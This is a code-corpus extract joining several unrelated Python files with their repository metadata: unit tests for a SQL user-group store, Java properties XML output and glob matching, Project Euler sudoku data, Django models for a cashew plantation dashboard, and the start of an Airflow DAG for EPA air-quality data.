BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("group1" in authorisor.groups) self.assertTrue("group2" in authorisor.groups) self.assertTrue(authorisor.groups) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups_verbose(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: group1: roles: role1, role2, role3 groups: group1, group2 users: user1, user2 group2: roles: role4, role5 groups: group3 users: user3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=True) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups_no_groups(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" other: group1: roles: role1, role2, role3 groups: group1, group2 users: user1, user2 group2: roles: role4, role5 groups: group3 users: user3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=False) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups_no_group_roles(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: group1: groups: group1, group2 users: user1, user2 group2: groups: group3 users: user3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=False) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups_no_group_groups(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: group1: roles: role1, role2, role3 users: user1, user2 group2: roles: role4, role5 users: user3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=False) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups_no_group_users(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: group1: roles: role1, role2, role3 groups: group1, group2 group2: roles: role4, role5 groups: group3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=False) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_usergroups(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" users: user1: groups: group1 user2: groups: group4 user3: groups: group1 groups: group1: roles: role1, role2, role3 groups: group1, group2 users: user1, user2 group2: roles: role4, role5 groups: group5 users: user3 group3: roles: role6 """, Loader=yaml.FullLoader) store.load_from_yaml(yaml_data, verbose=False) store.commit() authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("user1" in authorisor.users) self.assertTrue("user2" in authorisor.users) self.assertTrue("user3" in authorisor.users) self.assertTrue("group1" in authorisor.groups) self.assertTrue("group2" in authorisor.groups) self.assertTrue("group3" in authorisor.groups) self.assertTrue(authorisor.authorise("user3", "role3"))

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17,415

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null

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1

0

null

0

7

491fe011eee61376f93c6fa1a125b2cde5353a1a

3,469

py

Python

test/test_dumps_xml.py

asantoso/javaproperties

2ca21bd4a69feecde77444c536ff62c221b390e3

[ "MIT" ]

null

test/test_dumps_xml.py

asantoso/javaproperties

2ca21bd4a69feecde77444c536ff62c221b390e3

[ "MIT" ]

null

test/test_dumps_xml.py

asantoso/javaproperties

2ca21bd4a69feecde77444c536ff62c221b390e3

[ "MIT" ]

null

from __future__ import unicode_literals from collections import OrderedDict from javaproperties import dumps_xml def test_dumps_xml_nothing(): assert dumps_xml({}) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> </properties> ''' def test_dumps_xml_simple(): assert dumps_xml({"key": "value"}) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> </properties> ''' def test_dumps_xml_two_simple(): assert dumps_xml([("key", "value"), ("zebra", "apple")]) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_two_simple_rev(): assert dumps_xml([("zebra", "apple"), ("key", "value")]) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="zebra">apple</entry> <entry key="key">value</entry> </properties> ''' def test_dumps_xml_two_simple_sorted(): assert dumps_xml( [("key", "value"), ("zebra", "apple")], sort_keys=True, ) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_two_simple_rev_sorted(): assert dumps_xml( [("zebra", "apple"), ("key", "value")], sort_keys=True, ) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_ordereddict(): assert dumps_xml(OrderedDict([("key","value"), ("zebra","apple")])) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_ordereddict_rev(): assert dumps_xml(OrderedDict([("zebra","apple"), ("key","value")])) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="zebra">apple</entry> <entry key="key">value</entry> </properties> ''' def test_dumps_xml_ordereddict_sorted(): assert dumps_xml( OrderedDict([("key", "value"), ("zebra", "apple")]), sort_keys=True, ) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_ordereddict_rev_sorted(): assert dumps_xml( OrderedDict([("zebra", "apple"), ("key", "value")]), sort_keys=True, ) == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <entry key="key">value</entry> <entry key="zebra">apple</entry> </properties> ''' def test_dumps_xml_comment(): assert dumps_xml({"key": "value"}, comment='This is a comment.') == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <comment>This is a comment.</comment> <entry key="key">value</entry> </properties> ''' def test_dumps_xml_entities(): assert dumps_xml({'&<>"\'': '&<>"\''}, comment='&<>"\'') == '''\ <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd"> <properties> <comment>&<>"'</comment> <entry key="&<>"'">&<>"'</entry> </properties> '''

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1

0

1

0

null

0

1

0

9

4924b704b9c29e0a653b674acdbf7bcd84eecae4

10,626

py

Python

data/p096.py

joetache4/ProjectEuler

f101e927d73dbafa11af1b208992bf0d830c88b1

[ "MIT" ]

null

data/p096.py

joetache4/ProjectEuler

f101e927d73dbafa11af1b208992bf0d830c88b1

[ "MIT" ]

null

data/p096.py

joetache4/ProjectEuler

f101e927d73dbafa11af1b208992bf0d830c88b1

[ "MIT" ]

null

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[0,0,3,0,0,4,0,5,0]\ ],[\ [0,8,0,0,0,0,0,4,0],\ [0,0,0,4,6,9,0,0,0],\ [4,0,0,0,0,0,0,0,7],\ [0,0,5,9,0,4,6,0,0],\ [0,7,0,6,0,8,0,3,0],\ [0,0,8,5,0,2,1,0,0],\ [9,0,0,0,0,0,0,0,5],\ [0,0,0,7,8,1,0,0,0],\ [0,6,0,0,0,0,0,1,0]\ ],[\ [9,0,4,2,0,0,0,0,7],\ [0,1,0,0,0,0,0,0,0],\ [0,0,0,7,0,6,5,0,0],\ [0,0,0,8,0,0,0,9,0],\ [0,2,0,9,0,4,0,6,0],\ [0,4,0,0,0,2,0,0,0],\ [0,0,1,6,0,7,0,0,0],\ [0,0,0,0,0,0,0,3,0],\ [3,0,0,0,0,5,7,0,2]\ ],[\ [0,0,0,7,0,0,8,0,0],\ [0,0,6,0,0,0,0,3,1],\ [0,4,0,0,0,2,0,0,0],\ [0,2,4,0,7,0,0,0,0],\ [0,1,0,0,3,0,0,8,0],\ [0,0,0,0,6,0,2,9,0],\ [0,0,0,8,0,0,0,7,0],\ [8,6,0,0,0,0,5,0,0],\ [0,0,2,0,0,6,0,0,0]\ ],[\ [0,0,1,0,0,7,0,9,0],\ [5,9,0,0,8,0,0,0,1],\ [0,3,0,0,0,0,0,8,0],\ [0,0,0,0,0,5,8,0,0],\ [0,5,0,0,6,0,0,2,0],\ [0,0,4,1,0,0,0,0,0],\ [0,8,0,0,0,0,0,3,0],\ [1,0,0,0,2,0,0,7,9],\ [0,2,0,7,0,0,4,0,0]\ ],[\ [0,0,0,0,0,3,0,1,7],\ [0,1,5,0,0,9,0,0,8],\ [0,6,0,0,0,0,0,0,0],\ [1,0,0,0,0,7,0,0,0],\ [0,0,9,0,0,0,2,0,0],\ [0,0,0,5,0,0,0,0,4],\ [0,0,0,0,0,0,0,2,0],\ [5,0,0,6,0,0,3,4,0],\ [3,4,0,2,0,0,0,0,0]\ ],[\ [3,0,0,2,0,0,0,0,0],\ [0,0,0,1,0,7,0,0,0],\ [7,0,6,0,3,0,5,0,0],\ [0,7,0,0,0,9,0,8,0],\ [9,0,0,0,2,0,0,0,4],\ [0,1,0,8,0,0,0,5,0],\ [0,0,9,0,4,0,3,0,1],\ [0,0,0,7,0,2,0,0,0],\ [0,0,0,0,0,8,0,0,6]\ ]]

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0.38274

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0.588293

0.958436

0.902853

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null

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10

496cf9d45a7840abeb031e02f2b254b24081f7f6

4,652

py

Python

tests/lib/test_fnmatch.py

bbtfr/megfile

7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0

[ "Apache-2.0", "MIT" ]

69

2021-08-28T15:03:26.000Z

2022-03-04T23:43:22.000Z

tests/lib/test_fnmatch.py

bbtfr/megfile

7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0

[ "Apache-2.0", "MIT" ]

75

2021-08-30T02:36:46.000Z

2022-03-29T07:59:11.000Z

tests/lib/test_fnmatch.py

bbtfr/megfile

7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0

[ "Apache-2.0", "MIT" ]

9

2021-08-30T10:46:52.000Z

2022-01-08T08:26:58.000Z

import sys from megfile.lib import fnmatch def test_translate(): # wildcard assert fnmatch.translate('?') == fnmatch._compat(r'.') assert fnmatch.translate('*') == fnmatch._compat(r'[^/]*') assert fnmatch.translate('**') == fnmatch._compat(r'.*') assert fnmatch.translate('**/a') == fnmatch._compat(r'(.*/)?a') if sys.version_info > (3, 7): assert fnmatch.translate('b**/a') == fnmatch._compat(r'b.*/a') assert fnmatch.translate('b/**/a') == fnmatch._compat(r'b/(.*/)?a') assert fnmatch.translate('c/b**/a') == fnmatch._compat(r'c/b.*/a') else: assert fnmatch.translate('b**/a') == fnmatch._compat(r'b.*\/a') assert fnmatch.translate('b/**/a') == fnmatch._compat(r'b\/(.*/)?a') assert fnmatch.translate('c/b**/a') == fnmatch._compat(r'c\/b.*\/a') # brackets assert fnmatch.translate('[abc]') == fnmatch._compat(r'[abc]') assert fnmatch.translate('[!abc]') == fnmatch._compat(r'[^abc]') assert fnmatch.translate('[^abc]') == fnmatch._compat(r'[\^abc]') assert fnmatch.translate('[abc^]') == fnmatch._compat(r'[abc^]') assert fnmatch.translate('[abc?]') == fnmatch._compat(r'[abc?]') assert fnmatch.translate('[a-z]') == fnmatch._compat(r'[a-z]') assert fnmatch.translate('[]') == fnmatch._compat(r'\[\]') if sys.version_info > (3, 7): assert fnmatch.translate('[!]') == fnmatch._compat(r'\[!\]') else: assert fnmatch.translate('[!]') == fnmatch._compat(r'\[\!\]') assert fnmatch.translate('[') == fnmatch._compat(r'\[') # curly braces assert fnmatch.translate('{a,b}') == fnmatch._compat(r'(a|b)') assert fnmatch.translate('{a, b}') == fnmatch._compat(r'(a|\ b)') assert fnmatch.translate('{}') == fnmatch._compat(r'\{\}') assert fnmatch.translate('{,}') == fnmatch._compat(r'(|)') assert fnmatch.translate('{') == fnmatch._compat(r'\{') # weirdos assert fnmatch.translate('(a|b)') == fnmatch._compat(r'$a\|b$') assert fnmatch.translate('{*,d}') == fnmatch._compat(r'(\*|d)') assert fnmatch.translate('{**,d}') == fnmatch._compat(r'(\*\*|d)') assert fnmatch.translate('{[abc],d}') == fnmatch._compat(r'(\[abc\]|d)') if sys.version_info > (3, 7): assert fnmatch.translate('{{a,b},d}') == fnmatch._compat(r'(\{a|b),d\}') else: assert fnmatch.translate('{{a,b},d}') == fnmatch._compat( r'(\{a|b)\,d\}') def test_filter(): file_list = [ 'a', 'b', 'c/d', 'd', '*', '**', '[abc]', '(a|b)', '{a', 'b}', '{a,d}', '[', ']', '[]', '[!]', '{', '}', '{}', '{,}', '^', '!', '?', ',' ] # wildcard assert fnmatch.filter(file_list, '?') == [ 'a', 'b', 'd', '*', '[', ']', '{', '}', '^', '!', '?', ',' ] assert fnmatch.filter(file_list, '*') == [ 'a', 'b', 'd', '*', '**', '[abc]', '(a|b)', '{a', 'b}', '{a,d}', '[', ']', '[]', '[!]', '{', '}', '{}', '{,}', '^', '!', '?', ',' ] assert fnmatch.filter(file_list, '**') == [ 'a', 'b', 'c/d', 'd', '*', '**', '[abc]', '(a|b)', '{a', 'b}', '{a,d}', '[', ']', '[]', '[!]', '{', '}', '{}', '{,}', '^', '!', '?', ',' ] assert fnmatch.filter(file_list, '**/d') == ['c/d', 'd'] # brackets assert fnmatch.filter(file_list, '[abc]') == ['a', 'b'] assert fnmatch.filter(file_list, '[!abc]') == [ 'd', '*', '[', ']', '{', '}', '^', '!', '?', ',' ] assert fnmatch.filter(file_list, '[^abc]') == ['a', 'b', '^'] assert fnmatch.filter(file_list, '[abc^]') == ['a', 'b', '^'] assert fnmatch.filter(file_list, '[abc?]') == ['a', 'b', '?'] assert fnmatch.filter(file_list, '[a-z]') == ['a', 'b', 'd'] assert fnmatch.filter(file_list, '[]') == ['[]'] assert fnmatch.filter(file_list, '[!]') == ['[!]'] assert fnmatch.filter(file_list, '[') == ['['] # curly braces assert fnmatch.filter(file_list, '{a,b}') == ['a', 'b'] assert fnmatch.filter(file_list, '{a, b}') == ['a'] assert fnmatch.filter(file_list, '{}') == ['{}'] assert fnmatch.filter(file_list, '{,}') == [] assert fnmatch.filter(file_list, '{') == ['{'] # weirdos assert fnmatch.filter(file_list, '(a|b)') == ['(a|b)'] assert fnmatch.filter(file_list, '{*,d}') == ['d', '*'] assert fnmatch.filter(file_list, '{**,d}') == ['d', '**'] assert fnmatch.filter(file_list, '{[abc],d}') == ['d', '[abc]'] assert fnmatch.filter(file_list, '{{a,b},d}') == ['{a,d}'] def test_fnmatch(): assert fnmatch.fnmatch('a', '{a,b}') assert fnmatch.fnmatch('b', '{a,b}') assert not fnmatch.fnmatch('A', '{a,b}') assert not fnmatch.fnmatchcase('A', '{a,b}')

43.476636

80

0.499785

536

4,652

4.223881

0.063433

0.321555

0.301237

0.233657

0.887809

0.878534

0.836131

0.833481

0.791078

0.757509

0

0.001582

0.184652

4,652

106

81

43.886792

0.595307

0.016552

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1

0.035714

false

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0

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0

null

1

0

null

0

1

0

10

49871bf683f2d7490bf499e5d671809657ab3a0b

15,439

py

Python

authentication/models.py

TechnoServe/Caju-Dashboard-v1

ee5cde55d5700abd6223bb464fec4efa708dfdfc

[ "MIT" ]

null

authentication/models.py

TechnoServe/Caju-Dashboard-v1

ee5cde55d5700abd6223bb464fec4efa708dfdfc

[ "MIT" ]

null

authentication/models.py

TechnoServe/Caju-Dashboard-v1

ee5cde55d5700abd6223bb464fec4efa708dfdfc

[ "MIT" ]

null

# -*- encoding: utf-8 -*- """ Copyright (c) 2020 - Technoserve """ from django.db import models from django.utils.translation import gettext_lazy as _ from django.core.validators import RegexValidator from django.contrib.auth.models import User # Create your models here. class RemOrganization(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] # id = models.BigAutoField(primary_key=True) organization_name = models.CharField(max_length=200, unique=True) description = models.CharField(max_length=200) phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list # phone = PhoneNumberField(null=False, blank=False, unique=True) e_mail = models.EmailField(max_length = 254) website = models.URLField(max_length=254, null=False) address = models.CharField(max_length=200) country = models.CharField(max_length=200) city = models.CharField(max_length=200) status = models.IntegerField(choices=Status, default=ACTIVE,) created_by = models.BigIntegerField(null=True) created_date = models.DateTimeField(blank=True, null=True) updated_by = models.BigIntegerField(null=True) updated_date = models.DateTimeField(blank=True, null=True) def __str__(self): return self.organization_name class RemRole(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] # id = models.BigAutoField(primary_key=True) role_name = models.CharField(max_length=200) # organization = models.ForeignKey(RemOrganization, on_delete=models.CASCADE, null=True) status = models.IntegerField(choices=Status, default=ACTIVE,) created_by = models.BigIntegerField(null=True) created_date = models.DateTimeField(blank=True, null=True) updated_by = models.BigIntegerField(null=True) updated_date = models.DateTimeField(blank=True, null=True) def __str__(self): return self.role_name class RemUser(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 class GenderChoices(): MALE = 'male', _('Male') FEMALE = 'female', _('Female') OTHERS = 'others', _('Others') ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] MALE = 'male' FEMALE = 'female' OTHERS = 'others' GenderChoices = [ (MALE, 'Male'), (FEMALE, 'Female'), (FEMALE, 'Others'), ] # id = models.BigAutoField(primary_key=True) # id = models.DecimalField(primary_key=True, max_digits=50, decimal_places=0) # password = models.CharField(max_length=200) first_name = models.CharField(max_length=200) last_name = models.CharField(max_length=200) username = models.CharField(max_length=200, unique=True) # user_id = models.ForeignKey(User, on_delete=models.CASCADE, null=False, unique=True) # gender = models.CharField( # max_length=6, # choices=GenderChoices, # default=OTHERS, # ) # date_of_birth = models.DateField(blank=True, null=True) # phone = PhoneNumberField(null=False, blank=False, unique=True) phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list email = models.EmailField(max_length = 254) organization = models.ForeignKey(RemOrganization, on_delete=models.CASCADE, null=True) role = models.ForeignKey(RemRole, on_delete=models.CASCADE, null=True) # address = models.CharField(max_length=200) # country = models.CharField(max_length=200) # city = models.CharField(max_length=200) # status = models.IntegerField(choices=Status, default=ACTIVE,) created_by = models.BigIntegerField(blank=True, null=True) created_date = models.DateTimeField(blank=True, null=True) updated_by = models.BigIntegerField(blank=True, null=True) updated_date = models.DateTimeField(blank=True, null=True) # first_login = models.BooleanField(default=True) def __str__(self): return self.username class Nursery(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 class GenderChoices(): MALE = 'male', _('Male') FEMALE = 'female', _('Female') OTHERS = 'others', _('Others') ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] MALE = 'male' FEMALE = 'female' OTHERS = 'others' GenderChoices = [ (MALE, 'Male'), (FEMALE, 'Female'), (FEMALE, 'Others'), ] nursery_name = models.CharField(max_length=200, unique=True) owner_first_name = models.CharField(max_length=200) owner_last_name = models.CharField(max_length=200) nursery_address = models.CharField(max_length=200) country = models.CharField(max_length=200) commune = models.CharField(max_length=200) current_area = models.FloatField(null=True) latitude = models.FloatField(null=True, blank=False) longitude = models.FloatField(null=True) altitude = models.FloatField(null=True) partner = models.CharField(max_length=200) status = models.IntegerField(choices=Status, default=ACTIVE,) number_of_plants = models.IntegerField(null=True) # id = models.BigAutoField(primary_key=True) # owner_gender = models.CharField( # max_length=6, # choices=GenderChoices, # default=OTHERS, # ) # owner_date_of_birth = models.DateField(blank=True, null=True) # owner_phone = PhoneNumberField(null=False, blank=False, unique=True) # phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") # phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list # owner_address = models.CharField(max_length=200) # department = models.CharField(max_length=200) # arrondissement = models.CharField(max_length=200) # village = models.CharField(max_length=200) # certified = models.BooleanField(default=False) # certified_by = models.BigIntegerField(blank=True) # certified_date = models.DateTimeField(blank=True, null=True) # website = models.URLField(max_length=254, null=True) # created_by = models.BigIntegerField(blank=True, null=True) # created_date = models.DateTimeField(blank=True, null=True) # updated_by = models.BigIntegerField(blank=True, null=True) # updated_date = models.DateTimeField(blank=True, null=True) def __str__(self): return self.nursery_name class NurseryPlantsHistory(models.Model): nursery_id = models.ForeignKey(Nursery, on_delete=models.CASCADE, null=True) year = models.IntegerField() season = models.IntegerField() total_plants = models.BigIntegerField() total_grafted = models.BigIntegerField() total_graft_holders = models.BigIntegerField() polyclonal = models.CharField(max_length=300) comment = models.CharField(max_length=300) def __str__(self): return self.total_plants class MotherTree(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 class GenderChoices(): MALE = 'male', _('Male') FEMALE = 'female', _('Female') OTHERS = 'others', _('Others') ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] MALE = 'male' FEMALE = 'female' OTHERS = 'others' GenderChoices = [ (MALE, 'Male'), (FEMALE, 'Female'), (FEMALE, 'Others'), ] # id = models.BigAutoField(primary_key=True) mother_tree_name = models.CharField(max_length=200, unique=True) owner_first_name = models.CharField(max_length=200) owner_last_name = models.CharField(max_length=200) owner_gender = models.CharField( max_length=6, choices=GenderChoices, default=OTHERS, ) owner_date_of_birth = models.DateField(blank=True, null=True) # owner_phone = PhoneNumberField(null=False, blank=False, unique=True) phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list mother_tree_address = models.CharField(max_length=200) owner_address = models.CharField(max_length=200) country = models.CharField(max_length=200) department = models.CharField(max_length=200) commune = models.CharField(max_length=200) arrondissement = models.CharField(max_length=200) village = models.CharField(max_length=200) plantation_id = models.CharField(max_length=200) latitude = models.FloatField(null=False, blank=False) longitude = models.FloatField(null=True) altitude = models.FloatField(null=True) certified = models.BooleanField(default=False) certified_by = models.BigIntegerField(blank=True) certified_date = models.DateTimeField(blank=True, null=True) status = models.IntegerField(choices=Status, default=INACTIVE,) created_by = models.BigIntegerField(blank=True, null=True) created_date = models.DateTimeField(blank=True, null=True) updated_by = models.BigIntegerField(blank=True, null=True) updated_date = models.DateTimeField(blank=True, null=True) def __str__(self): return self.mother_tree_name class Plantation(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 class GenderChoices(): MALE = 'male', _('Male') FEMALE = 'female', _('Female') OTHERS = 'others', _('Others') ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] MALE = 'male' FEMALE = 'female' OTHERS = 'others' GenderChoices = [ (MALE, 'Male'), (FEMALE, 'Female'), (FEMALE, 'Others'), ] plantation_name = models.CharField(max_length=200, unique=True) plantation_code = models.CharField(max_length=200, unique=True) owner_first_name = models.CharField(max_length=200) owner_last_name = models.CharField(max_length=200) owner_gender = models.CharField( max_length=6, choices=GenderChoices, default=OTHERS, ) total_trees = models.IntegerField(blank=True, null=True) country = models.CharField(max_length=200) department = models.CharField(max_length=200) commune = models.CharField(max_length=200) arrondissement = models.CharField(max_length=200) village = models.CharField(max_length=200) current_area = models.FloatField(null=True) latitude = models.FloatField(null=False, blank=False) longitude = models.FloatField(null=True) altitude = models.FloatField(null=True) status = models.IntegerField(choices=Status, default=ACTIVE,) # id = models.BigAutoField(primary_key=True) # plantation_id = models.CharField(max_length=200, unique=True) # plantation_age = models.IntegerField(blank=True, null=True) # owner_date_of_birth = models.DateField(blank=True, null=True) # owner_phone = PhoneNumberField(null=False, blank=False, unique=True) # phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") # phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list # plantation_address = models.CharField(max_length=200) # owner_address = models.CharField(max_length=200) # certified = models.BooleanField(default=False) # certified_by = models.BigIntegerField(blank=True) # certified_date = models.DateTimeField(blank=True, null=True) # partner = models.CharField(max_length=200) # website = models.URLField(max_length=254, null=True) # created_by = models.BigIntegerField(blank=True, null=True) # created_date = models.DateTimeField(blank=True, null=True) # updated_by = models.BigIntegerField(blank=True, null=True) # updated_date = models.DateTimeField(blank=True, null=True) def __str__(self): return self.plantation_name class BeninYield(models.Model): class Status(): ACTIVE = 1 INACTIVE = 0 ACTIVE = 1 INACTIVE = 0 Status = [ (ACTIVE, 'Active'), (INACTIVE, 'Inactive'), ] plantation_name = models.CharField(max_length=200) plantation_code = models.CharField(max_length=200) department = models.CharField(max_length=200) commune = models.CharField(max_length=200) arrondissement = models.CharField(max_length=200) village = models.CharField(max_length=200) owner_first_name = models.CharField(max_length=200) owner_last_name = models.CharField(max_length=200) plantation_code = models.CharField(max_length=200) surface_area = models.FloatField(null=True) total_yield_kg = models.FloatField() total_yield_per_ha_kg = models.FloatField() total_yield_per_tree_kg = models.FloatField() sex = models.CharField(max_length=200) plantation_id = models.ForeignKey(Plantation, on_delete=models.CASCADE, null=True) product_id = models.CharField(max_length=60) total_number_trees = models.FloatField() total_sick_trees = models.FloatField() total_dead_trees = models.FloatField() total_trees_out_of_prod = models.FloatField() plantation_age = models.FloatField() latitude = models.FloatField(null=False, blank=False) longitude = models.FloatField(null=True) altitude = models.FloatField(null=True) status = models.IntegerField(choices=Status, default=ACTIVE,) year = models.IntegerField() def __str__(self): return str(self.product_id) + str(self.year) class AlteiaData(models.Model): plantation_code = models.CharField(max_length=200, unique=True) cashew_tree_cover = models.FloatField(null=True) def __str__(self): return str(self.plantation_code) class DeptSatellite(models.Model): country = models.CharField(max_length=200) department = models.CharField(max_length=200, unique=True) cashew_tree_cover = models.FloatField(null=True) def __str__(self): return str(self.department) class CommuneSatellite(models.Model): country = models.CharField(max_length=200) department = models.CharField(max_length=200) commune = models.CharField(max_length=200, unique=True) cashew_tree_cover = models.FloatField(null=True) def __str__(self): return str(self.commune) class SpecialTuple(models.Model): plantation_id = models.CharField(max_length=200, unique=True) alteia_id = models.CharField(max_length=200, unique=True) def __str__(self): return str(self.alteia_id)

35.573733

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0.072384

0.127326

0.169767

0.868023

0.842539

0.807171

0.785756

0.753876

0.7375

0

0.027789

0.193536

15,439

434

155

35.573733

0.80106

0.228059

0

0.676976

0

0.054463

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false

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7736f0890813776e4a0f32517276ccef50836acf

104,403

py

Python

datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py

arjunsgill/public-datasets-pipelines

45dd0b2c15821e38f0b7b511c253025fc7497ad0

[ "Apache-2.0" ]

null

datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py

arjunsgill/public-datasets-pipelines

45dd0b2c15821e38f0b7b511c253025fc7497ad0

[ "Apache-2.0" ]

null

datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py

arjunsgill/public-datasets-pipelines

45dd0b2c15821e38f0b7b511c253025fc7497ad0

[ "Apache-2.0" ]

null

# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from airflow import DAG from airflow.providers.google.cloud.operators import kubernetes_engine default_args = { "owner": "Google", "depends_on_past": False, "start_date": "2021-03-01", } with DAG( dag_id="epa_historical_air_quality.epa_historical_air_quality", default_args=default_args, max_active_runs=1, schedule_interval="0 1 * * 6", catchup=False, default_view="graph", ) as dag: create_cluster = kubernetes_engine.GKECreateClusterOperator( task_id="create_cluster", project_id="{{ var.value.gcp_project }}", location="us-central1-c", body={ "name": "epa-hist-air-quality", "initial_node_count": 8, "network": "{{ var.value.vpc_network }}", "node_config": { "machine_type": "e2-standard-16", "oauth_scopes": [ "https://www.googleapis.com/auth/devstorage.read_write", "https://www.googleapis.com/auth/cloud-platform", ], }, }, ) # Run CSV transform within kubernetes pod annual_summaries = kubernetes_engine.GKEStartPodOperator( task_id="annual_summaries", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ 